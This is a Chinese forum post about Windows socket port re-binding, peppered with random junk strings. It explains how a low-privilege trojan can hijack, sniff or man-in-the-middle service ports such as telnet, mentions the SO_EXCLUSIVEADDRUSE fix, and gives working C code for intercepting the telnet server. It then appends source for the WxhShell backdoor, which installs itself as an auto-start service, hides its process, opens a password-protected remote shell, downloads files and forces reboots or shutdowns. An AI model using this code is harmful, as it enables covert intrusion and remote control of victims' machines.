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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /c"efnb!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Au{<hQ =  
:[\v  
  saddr.sin_family = AF_INET; baJxU:Y=p  
d}LRl"_n  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); w$H^q !(  
9Q(+ZG=JkV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a\IP12F?  
{g2@6ct  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 umF Z?a  
SfJA(v@E  
  这意味着什么?意味着可以进行如下的攻击: QYa(N[~a  
gzBy?r> r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NB\{'  
u$*56y   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B.g[c97  
y_*PQZ$c<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {88gW\GL  
ZiYm:$CJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "Vw m  
fMGbODAvY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cE`6uq7 p  
&FH2fMLQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9R;/*$  
2-=\~<)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j<2m,~k`V  
N2oRJ,:B  
  #include $e\h}A6  
  #include 7M<'ddAN  
  #include D?C)BcN  
  #include    Z|_K6v/c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   '"<6.,Ae  
  int main() >*-FV{{  
  { :C}2=  
  WORD wVersionRequested; ZDD..j  
  DWORD ret; rsF\JQk  
  WSADATA wsaData; JJltPGT~Oa  
  BOOL val; pM{nh00[  
  SOCKADDR_IN saddr; 7_.11$E=H  
  SOCKADDR_IN scaddr; Di@GY!  
  int err; <+^6}8-  
  SOCKET s; j4>a(  
  SOCKET sc; d~/q"r1"  
  int caddsize; DHw&+MY  
  HANDLE mt; %/c+`Wd/l$  
  DWORD tid;   6*qL[m.F[o  
  wVersionRequested = MAKEWORD( 2, 2 ); y kW [B  
  err = WSAStartup( wVersionRequested, &wsaData ); :9R=]#uD  
  if ( err != 0 ) { HJ2*y|u  
  printf("error!WSAStartup failed!\n"); 21ppSN >  
  return -1; }w/;){gu  
  } Iq#ZhAk  
  saddr.sin_family = AF_INET; -pU|hSW*b  
   ' zEI;v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :U d  
rwniOQe  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QJ F=UB  
  saddr.sin_port = htons(23); 1=|7mehL%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `C_jP|[e  
  { A%Xt|=^_  
  printf("error!socket failed!\n"); RrhT'':[  
  return -1; V~T@6S  
  } .MVYB\6Q0  
  val = TRUE; Ja]?&j  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Cv>o.Bp|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \.f}W_OF  
  { >Jw6l0z  
  printf("error!setsockopt failed!\n"); 65oWD-  
  return -1; yJsH=5A  
  } /Y&02L%\3s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $55U+)C<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LuR,f"%2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fQ'.8'>T  
g|Y] wd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aYn8 ^  
  { ?f*Q>3S)  
  ret=GetLastError(); ZkP {[^6d\  
  printf("error!bind failed!\n"); B/J>9||g  
  return -1; -/ x W  
  } C{Asp  
  listen(s,2); MlJVeod  
  while(1) ;' nL:\  
  { EQIUSh)M  
  caddsize = sizeof(scaddr); nRb^<cZf  
  //接受连接请求 Sf/q2/r?6[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6*nAo8gl  
  if(sc!=INVALID_SOCKET) RA],lNs  
  {  :Pq.,s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &[a Tw{2  
  if(mt==NULL) mPPk )qy  
  { H@l}[hkP  
  printf("Thread Creat Failed!\n"); "BVdPSDBk  
  break; CKlL~f EL  
  } 6  P`)%zj  
  } 1ndJ+H0H  
  CloseHandle(mt); \aP6_g:N}  
  } ?0<w  
  closesocket(s); s?3i) Ymr  
  WSACleanup(); 2 ?|gnbE:  
  return 0; V5D2\n3A  
  }   +m,!e*g  
  DWORD WINAPI ClientThread(LPVOID lpParam) k_GP> b\"k  
  { YCy22@C  
  SOCKET ss = (SOCKET)lpParam; )F pJ 1  
  SOCKET sc; E1Q0k5@  
  unsigned char buf[4096]; IeF keE  
  SOCKADDR_IN saddr; x`Fjf/1T*m  
  long num; JmOW~W  
  DWORD val; ?4z8)E9Ju  
  DWORD ret; *s)}Bj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #T~&]|{,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~ eN8|SR  
  saddr.sin_family = AF_INET; TSL9ax4j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {UH9i'y:t  
  saddr.sin_port = htons(23); h<p3'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }Ia 0"J4  
  { `_ (~ Ud  
  printf("error!socket failed!\n"); N dR ]  
  return -1; :#="%  
  } |$hgT K[L  
  val = 100; ^uaFg`S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X QbNH~  
  { \gccQig1CJ  
  ret = GetLastError(); }fIqH4bp  
  return -1; }qC SS<a  
  } Ff"gadRXd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O|v (5 8A  
  { J(h3]J/Yw  
  ret = GetLastError(); IftxSaP  
  return -1; }++5_Z_  
  } A['uD<4b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H`<?<ak6'M  
  { {^&@g kYY  
  printf("error!socket connect failed!\n"); &v# `t~  
  closesocket(sc); z] @W[MHY  
  closesocket(ss); T$b\Q  
  return -1; +cfziQ$'  
  } UR>_)*  
  while(1) QjukK6#W  
  { (Nz]h:}r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Fu0.~w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3sC: jIp  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kMe@+ysL  
  num = recv(ss,buf,4096,0); 8[\ 79|  
  if(num>0) sX'U|)/pD  
  send(sc,buf,num,0); _:,.yRez  
  else if(num==0) w yD%x(  
  break; DJ:38_F  
  num = recv(sc,buf,4096,0); ~PUsgL^  
  if(num>0) x*mc -&N  
  send(ss,buf,num,0); |[wyc!nY).  
  else if(num==0) E*4t8  
  break; 7jezw'\=~  
  } 'jbMTI  
  closesocket(ss); ` !kL1oUYE  
  closesocket(sc); [a D:A  
  return 0 ; RdkU2Y}V  
  } ;qVG \wQq  
n8FT<pUq  
M7U:g}  
========================================================== XZBj=2~-3  
c9|a$^I6  
下边附上一个代码,,WXhSHELL W%zmD Hk~  
%QE5<2k  
========================================================== T+BIy|O  
w&+\Wo;([b  
#include "stdafx.h" F(G<* lA  
T:)% P6/  
#include <stdio.h> _s@bz|yqw  
#include <string.h> toN  
#include <windows.h> DrV0V .t,  
#include <winsock2.h> %30T{n:  
#include <winsvc.h> ${0%tCE  
#include <urlmon.h> 7n<#y;wo  
Ahd\TH  
#pragma comment (lib, "Ws2_32.lib") N7+#9S5fv  
#pragma comment (lib, "urlmon.lib") 8q{1E];:q  
V[To,f  
#define MAX_USER   100 // 最大客户端连接数 I4CHfs"ar  
#define BUF_SOCK   200 // sock buffer wC(XRqlE  
#define KEY_BUFF   255 // 输入 buffer u,!4vKx  
uJm#{[  
#define REBOOT     0   // 重启 7rJ9 }/<I  
#define SHUTDOWN   1   // 关机 Wu]/(F  
xan/ay>  
#define DEF_PORT   5000 // 监听端口 s?~8O|Mu'  
oFwG+W /  
#define REG_LEN     16   // 注册表键长度 *+NZQjl'  
#define SVC_LEN     80   // NT服务名长度 SAQs {M  
6S2r  
// 从dll定义API ''%;EW>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rSzQUn<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X!2.IsIS8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KuU3DTS85Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ./'; P <)  
tru;;.lj8K  
// wxhshell配置信息 LAizx^F  
struct WSCFG { y4 dp1<t%  
  int ws_port;         // 监听端口 J& n ^y  
  char ws_passstr[REG_LEN]; // 口令 'E@2I9Kj  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3j]UEA^  
  char ws_regname[REG_LEN]; // 注册表键名 `WP@ZSC6  
  char ws_svcname[REG_LEN]; // 服务名 d*]Dv,#X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AlA h S<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FGV}5L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3"HGEUqA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )RpqZe/h4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y21)~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mp]yKl  
/ c4;3>I S  
}; ./7&_9| <  
;"d?_{>7  
// default Wxhshell configuration Gr`MGQ,  
struct WSCFG wscfg={DEF_PORT, -d$8WSI 8  
    "xuhuanlingzhe", '*o7_Ez-{  
    1, ?/o2#iJx  
    "Wxhshell", K> c8r8!  
    "Wxhshell", |V5$'/Y  
            "WxhShell Service", Sb@{f<3E  
    "Wrsky Windows CmdShell Service", N#<zEAB  
    "Please Input Your Password: ", g:G%Ei~sF  
  1, kX ~-g  
  "http://www.wrsky.com/wxhshell.exe", %igFHh?  
  "Wxhshell.exe" 4jC4X*  
    }; ~zXG<}n  
 ~ LJ>WA  
// 消息定义模块 LUe>)eqw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~!a~C~_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2b 6? 9FX*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iBGSBSeL&  
char *msg_ws_ext="\n\rExit."; 3p?<iVE  
char *msg_ws_end="\n\rQuit."; =j'J !M  
char *msg_ws_boot="\n\rReboot..."; r`&2-]  
char *msg_ws_poff="\n\rShutdown..."; h"RP>fZt  
char *msg_ws_down="\n\rSave to "; zIAu3  
EI?d(K  
char *msg_ws_err="\n\rErr!"; 1Pw(.8P  
char *msg_ws_ok="\n\rOK!"; 3*X, {%  
>|UrxJ7  
char ExeFile[MAX_PATH]; STFQ";z$  
int nUser = 0; 2A@Y&g(6T7  
HANDLE handles[MAX_USER]; a in#_H  
int OsIsNt; @);!x41f  
73^ T*  
SERVICE_STATUS       serviceStatus; imJ[:E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v&[X&Hu[  
F #!@}K8  
// 函数声明 Q`@$j,v  
int Install(void); Dr8WV \4@  
int Uninstall(void); uFm(R/V  
int DownloadFile(char *sURL, SOCKET wsh); QoT3;<r}  
int Boot(int flag); uv~qK:Nw(  
void HideProc(void); 8xD<A|  
int GetOsVer(void); 0gwm gc/#  
int Wxhshell(SOCKET wsl); &6,Yjs:T m  
void TalkWithClient(void *cs); |d B1R%  
int CmdShell(SOCKET sock); @dWS*@  
int StartFromService(void); /P?|4D}<  
int StartWxhshell(LPSTR lpCmdLine); oPBg+Bh*  
yKe*<\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &(H)gjH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %ojR?=ON  
niBjq#bJi  
// 数据结构和表定义 |%2/I>o  
SERVICE_TABLE_ENTRY DispatchTable[] = =,>TpE  
{ 'Ec:l(2Ec  
{wscfg.ws_svcname, NTServiceMain}, OW63^wA`s  
{NULL, NULL} 6`s%%v  
};  xnRp/I  
(A]m=  
// 自我安装 H/p-YtY  
int Install(void) &k_wqV  
{ ; $ ?jR c  
  char svExeFile[MAX_PATH]; #iR yjD  
  HKEY key; 8f{}ce'E*  
  strcpy(svExeFile,ExeFile); quCWc2pXX  
>^a"Z[s[  
// 如果是win9x系统,修改注册表设为自启动 bD-/ZZz  
if(!OsIsNt) { UgD'Bi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ['}^;Y?*o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qUoMg%Z%l  
  RegCloseKey(key); V&4:nIS>z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U Qi^udGFD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MWn L#!  
  RegCloseKey(key); mSk :7ozZ  
  return 0; v]`A_)[  
    } \:_.N8"  
  } Y#SmZ*zok  
} 'wB Huq  
else { K9I,Q$&xX  
pw<q?q%  
// 如果是NT以上系统,安装为系统服务 [oU+b(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e>vUkP y  
if (schSCManager!=0) u7Y'3x,`  
{ Io4:$w  
  SC_HANDLE schService = CreateService ?lET45'  
  ( G2yUuyAZ  
  schSCManager, "{ry 9?z  
  wscfg.ws_svcname, rlO%%Qn`  
  wscfg.ws_svcdisp, Dt~}9HrU  
  SERVICE_ALL_ACCESS, QIMv9;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +U_-Lq )  
  SERVICE_AUTO_START, \xO2WD  
  SERVICE_ERROR_NORMAL, X!+Mgh6  
  svExeFile, |B{$URu  
  NULL, ,5A>:2 zs  
  NULL, "{ QHWZ  
  NULL, Nh\8+v*+{  
  NULL, DKVt8/vq  
  NULL {DXZ}7w:v  
  ); H-cBXp5z  
  if (schService!=0) R !%m5Q?5  
  { ?k:])^G5  
  CloseServiceHandle(schService); Er/5 ,  
  CloseServiceHandle(schSCManager); Tm:#"h\F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (E1>}  
  strcat(svExeFile,wscfg.ws_svcname); MZP><Je&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `Z7ITvF>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SAll9W4  
  RegCloseKey(key); R&=GB\`:a  
  return 0; mZ5K hPvf8  
    } :5cu,&<Gv  
  } @X6#$ex  
  CloseServiceHandle(schSCManager); Qqhb]<z  
} H+#wj|,+\  
} @aD~YtL"n  
a] wcA  
return 1; syN b0LR  
} Tx!m6B`Y  
R.YGmT'2  
// 自我卸载 P7x?!71?L  
int Uninstall(void) ^qus `6  
{ <9k}CXv2PK  
  HKEY key; kzVI:  
+@],$=aE?  
if(!OsIsNt) { &9lc\Y4PY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5G ]#yb74  
  RegDeleteValue(key,wscfg.ws_regname); @x F8' [<  
  RegCloseKey(key); dYqDL<se/I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  hL{B9?  
  RegDeleteValue(key,wscfg.ws_regname); vK.4JOlRF  
  RegCloseKey(key);   [aS)<^  
  return 0; U)/Ul>dY  
  } rDx],O _  
} f93X5hFnF  
} "xc*A&Sg  
else { gAUQQ  
1707  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 645C]l  
if (schSCManager!=0) y0&HXX#\  
{ ] xLb )Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >scS wT  
  if (schService!=0) pnA]@FW  
  { WmVw>.]@~  
  if(DeleteService(schService)!=0) { MqBATW.pmJ  
  CloseServiceHandle(schService); 0^lL,rC   
  CloseServiceHandle(schSCManager); |p4OlUq  
  return 0; 8`~3MsE"  
  } x5 ~E'~_  
  CloseServiceHandle(schService); !g&B)0u]*  
  } Y&Lk4  
  CloseServiceHandle(schSCManager); WfbNar[  
} W>|b98NPu  
} vzm4  
P_lcX;O  
return 1; >T*g'954xF  
} 5GFnfc}  
XK/@!ud"`  
// 从指定url下载文件 (l P4D:X  
int DownloadFile(char *sURL, SOCKET wsh) ,M h/3DPgE  
{ O/^w! :z'  
  HRESULT hr; ?ZV0   
char seps[]= "/"; ^oB1 &G  
char *token; 1&pP}v ?  
char *file; |M/ \'pOe  
char myURL[MAX_PATH]; PZhZK VZx  
char myFILE[MAX_PATH]; OK J%M]<  
JHZo:Ad -&  
strcpy(myURL,sURL); :=7'1H  
  token=strtok(myURL,seps); x7 1!r  
  while(token!=NULL) 5'-9?-S"  
  { I2lZ>3X{  
    file=token; P~ZV:Of  
  token=strtok(NULL,seps); ~kJpBt7M  
  } wXZY5-h4  
KC-aLq/  
GetCurrentDirectory(MAX_PATH,myFILE); kGqf@ I+  
strcat(myFILE, "\\"); >(ww6vk2  
strcat(myFILE, file); +}0*_VW  
  send(wsh,myFILE,strlen(myFILE),0); eC`f8=V  
send(wsh,"...",3,0); Jc?ssm\%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \q1%d.\X  
  if(hr==S_OK) zPkPC}f(O  
return 0; f vM3.P  
else j<P%Uy+  
return 1; *!Y3N<>!  
d lLk4a+  
} !X <n:J  
kpw4Mq@  
// 系统电源模块 W!B4< 'Fjc  
int Boot(int flag) wP':B AQ4U  
{ 2^ZPO4|  
  HANDLE hToken; "#k(V=y  
  TOKEN_PRIVILEGES tkp; &8i{'k,l  
9qy 9  
  if(OsIsNt) { q8bS@\i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4KSN;G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FH21mwV  
    tkp.PrivilegeCount = 1; J<*Mk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g):jZU]b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (a!,)  
if(flag==REBOOT) { D"f(nVEr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4H=sD t  
  return 0; t-(7Q8(  
} a&VJ YAB  
else { OYp8r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fDHISJv  
  return 0; 3}1+"? s  
} 0i `Zy!  
  }  +5mkMZ  
  else { CscJy0dB  
if(flag==REBOOT) { qm5pEort  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j77}{5@p  
  return 0; _-\{kJ  
} Q%1;{5   
else { h1o+7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;l?(VqX_E  
  return 0; NS;8&  
} I_*>EA  
} {o<p{q  
u.Yb#?  
return 1; X*"O'XCA  
} bd*(]S9d  
O~OWRJ@p  
// win9x进程隐藏模块 A3pQ?d[  
void HideProc(void) @BhAFv,7  
{ V=MZOj6  
=I}V PxhE7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h*Tiv^a  
  if ( hKernel != NULL ) k $&A  
  { B9:0|i!!A`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |?=1tS{iT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  "<h#Z(  
    FreeLibrary(hKernel); PW4Wn`u  
  } 2U{RA' s  
FRk_xxe"K  
return; *{s[$}uQ  
} X6 '&X  
J vsB^F.4  
// 获取操作系统版本 ]m>MB )9  
int GetOsVer(void) N<(`+ ?  
{ Y,\mrW}K   
  OSVERSIONINFO winfo; BniVZCct  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {~h\;>  
  GetVersionEx(&winfo); W)hby`k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Sd6^%YB  
  return 1; [KJL%u|8/  
  else :C6r N}_k  
  return 0;  Z5-'|h$|  
} t O>qd#I  
Lpf=VyqC  
// 客户端句柄模块 ?EAqv]  
int Wxhshell(SOCKET wsl) (Z +C  
{ ,SwaDWNO  
  SOCKET wsh; <);u]0  
  struct sockaddr_in client; Ec 7M'~1  
  DWORD myID; )yZE>>3-  
hDMp^^$  
  while(nUser<MAX_USER) =oDrN7`,B  
{ K_3ZJ  
  int nSize=sizeof(client); 4]KceE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H4Ek,m|c  
  if(wsh==INVALID_SOCKET) return 1; L1i> %5:g  
)D*xOajo+l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?3N86Qj  
if(handles[nUser]==0) ix`xdVj`  
  closesocket(wsh); ^dD?riFAk  
else fZgU@!z  
  nUser++;  \RO Sd  
  } >WX'oP(<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mIodD)?{  
~vF o 0k(  
  return 0; a$8?0` (  
} b] V=wZ o  
_*I6O$/>  
// 关闭 socket 1Tr=*b %f  
void CloseIt(SOCKET wsh) %b6wo?%*  
{ nQ~L.V  
closesocket(wsh); 3om-,gfZ  
nUser--; .R5z>:A  
ExitThread(0); j(JI$  
} E}2[P b)e  
h+(s/o?\  
// 客户端请求句柄 7RJW  
void TalkWithClient(void *cs) < *OF  
{ LL+rd xJO^  
/]&1XT?  
  SOCKET wsh=(SOCKET)cs; (p!AX<=z  
  char pwd[SVC_LEN]; 74#@F{w  
  char cmd[KEY_BUFF]; Lp=B? H  
char chr[1]; Qpq0j^\  
int i,j; iSlVe~ef  
@oNrR$7  
  while (nUser < MAX_USER) { [y>.)BU  
S(l^TF  
if(wscfg.ws_passstr) { U+ =q_ <  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W9~datIh>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]du~V?N   
  //ZeroMemory(pwd,KEY_BUFF); t:7jlD!d  
      i=0; k$!&3Rh  
  while(i<SVC_LEN) { [~wcHE  
p4 PFoFo2  
  // 设置超时 dD%m=x  
  fd_set FdRead; 6}$cDk`dz  
  struct timeval TimeOut; ' M!_k+e  
  FD_ZERO(&FdRead); Xy +|D#b  
  FD_SET(wsh,&FdRead); fHi+PEbR  
  TimeOut.tv_sec=8; z16++LKmM  
  TimeOut.tv_usec=0; [f}1wZ*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 04t_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [&:oS35O  
n>UvRn.7kz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Wu2gky3  
  pwd=chr[0]; =@>&kU%$&  
  if(chr[0]==0xd || chr[0]==0xa) { w?q"%F;/  
  pwd=0; ~@;7}Aag  
  break; +6*I9R  
  } t {}1 f  
  i++; N}= - +E|  
    } { L5m`-x  
~-/AKaK}  
  // 如果是非法用户,关闭 socket m/AN*` V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O{V"'o  
} qDW/8b\^  
edQ><lz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jG#sVK]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jg(A_V  
->(B: Cz  
while(1) { _G|6xlO  
XQA2uR4h  
  ZeroMemory(cmd,KEY_BUFF); SEmD's  
; o\wSHc  
      // 自动支持客户端 telnet标准   -E1}mL}I`  
  j=0; \q>,c49a{  
  while(j<KEY_BUFF) { sBwgl9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3^Y-P8.zdB  
  cmd[j]=chr[0]; $B2@mC([S  
  if(chr[0]==0xa || chr[0]==0xd) { RZZB?vx  
  cmd[j]=0; Z"jo xZ  
  break; N.?Wev{  
  } ~nQb;Bdh%  
  j++; ra1hdf0"  
    } W=*\4B]  
^BZdR<;  
  // 下载文件 sMx\WTyz  
  if(strstr(cmd,"http://")) { "`k[ 4C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YS*t7  
  if(DownloadFile(cmd,wsh)) oS4ag  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); va0 a4s1O  
  else <#UvLll  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `t -3(>P  
  } 7o<RvM  
  else { Sa0\9 3oa  
0Ju{6x(|  
    switch(cmd[0]) { >Vvc55z  
  Evc 9k  
  // 帮助 &}r932  
  case '?': { KB^IGF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5eYCnc9  
    break; 1^COR+>L  
  } ?=l(29tH  
  // 安装 So:89T  
  case 'i': { IYWD_}_ $  
    if(Install()) A{QS+fa/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 19S,>  
    else  x^"OH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @;0Ep 0[  
    break; -3fvO~  
    } P1kd6]s  
  // 卸载 seq$]  
  case 'r': { FD<~?-  
    if(Uninstall()) 1gC=xMAT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b+3pu\w `  
    else .jCdJ =z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4ZIXG,@mZJ  
    break; &}]Wbk4:  
    } !q X 7   
  // 显示 wxhshell 所在路径 "elh~K  
  case 'p': { vv u((b  
    char svExeFile[MAX_PATH]; {9)f~EbM!  
    strcpy(svExeFile,"\n\r"); =k'dbcfO$9  
      strcat(svExeFile,ExeFile); mXr)lA  
        send(wsh,svExeFile,strlen(svExeFile),0); &zZSWNW  
    break; ^%L$$V nG  
    } 3eB2= _V`  
  // 重启 (8I0%n}.Zo  
  case 'b': { <1y%ch;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C8?/$1|RL  
    if(Boot(REBOOT)) +#W5Qb}VR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5XhV+t g.  
    else { r~sGot+sQA  
    closesocket(wsh); @*oi1_q  
    ExitThread(0); TzOf&cs/r  
    } tFGLqR%/  
    break; "Xm'(c(  
    } dL"v*3Fy  
  // 关机 ()7=(<x{  
  case 'd': { NM4 n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lBCM; #P  
    if(Boot(SHUTDOWN)) &(K*TB|Om  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f /jN$p  
